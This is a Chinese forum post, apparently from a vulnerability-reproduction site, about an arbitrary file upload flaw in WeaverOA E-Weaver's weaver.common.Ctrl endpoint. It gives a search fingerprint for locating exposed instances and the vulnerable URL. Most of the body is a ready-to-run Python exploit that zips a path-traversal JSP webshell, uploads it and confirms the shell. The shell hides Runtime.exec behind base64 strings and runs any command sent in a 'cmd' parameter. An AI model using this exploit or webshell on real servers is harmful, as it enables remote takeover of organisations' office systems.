问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
WeaverOA E-Weaver weaver.common.Ctrl 任意文件上传漏洞
# WeaverOA E-Weaver weaver.common.Ctrl 任意文件上传漏洞漏洞描述 WeaverOA weaver.common.Ctrl 存在任意文件上传漏洞,攻击者通过漏洞可以上传webshell文件控制服务器 ## 漏洞影响...
WeaverOA E-Weaver weaver.common.Ctrl 任意文件上传漏洞漏洞描述 ================================================= WeaverOA weaver.common.Ctrl 存在任意文件上传漏洞,攻击者通过漏洞可以上传webshell文件控制服务器 漏洞影响 ---- WeaverOA 网络测绘 ---- app="泛微-协同办公OA" 漏洞复现 ---- 存在漏洞的路径为 ```plain /weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp ``` 请求包为 ![img](https://shs3.b.qianxin.com/butian_public/f668179808be94919cc4ab64b45ba039afea686de3974.jpg) 使用POC文件上传 ![img](https://shs3.b.qianxin.com/butian_public/f707181ad149cb382314f71ac9c36ca4b393cf477c279.jpg) 漏洞POC ----- ```python import zipfile import random import sys import requests def generate_random_str(randomlength=16): random_str = '' base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789' length = len(base_str) - 1 for i in range(randomlength): random_str += base_str[random.randint(0, length)] return random_str mm = generate_random_str(8) webshell_name1 = mm+'.jsp' webshell_name2 = '../../../'+webshell_name1 def file_zip(): shell = """<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="sun.misc.BASE64Decoder" %> <% if(request.getParameter("cmd")!=null){ BASE64Decoder decoder = new BASE64Decoder(); Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU="))); Process e = (Process) rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new Object[]{}), request.getParameter("cmd") ); java.io.InputStream in = e.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(" "); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(""); } %> """ ## 替换shell内容 zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED) zf.writestr(webshell_name2, shell) def GetShell(urllist): file_zip() print('上传文件中') urls = urllist + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp' file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))] requests.post(url=urls,files=file,timeout=60, verify=False) GetShellurl = urllist+'/cloudstore/'+webshell_name1 GetShelllist = requests.get(url = GetShellurl) if GetShelllist.status_code == 200: print('利用成功webshell地址为:'+GetShellurl) else: print('未找到webshell利用失败') def main(): if (len(sys.argv) == 2): url = sys.argv[1] GetShell(url) else: print("python3 poc.py http://xx.xx.xx.xx") if __name__ == '__main__': main() ```
发表于 2024-07-12 18:44:47
阅读 ( 1024 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!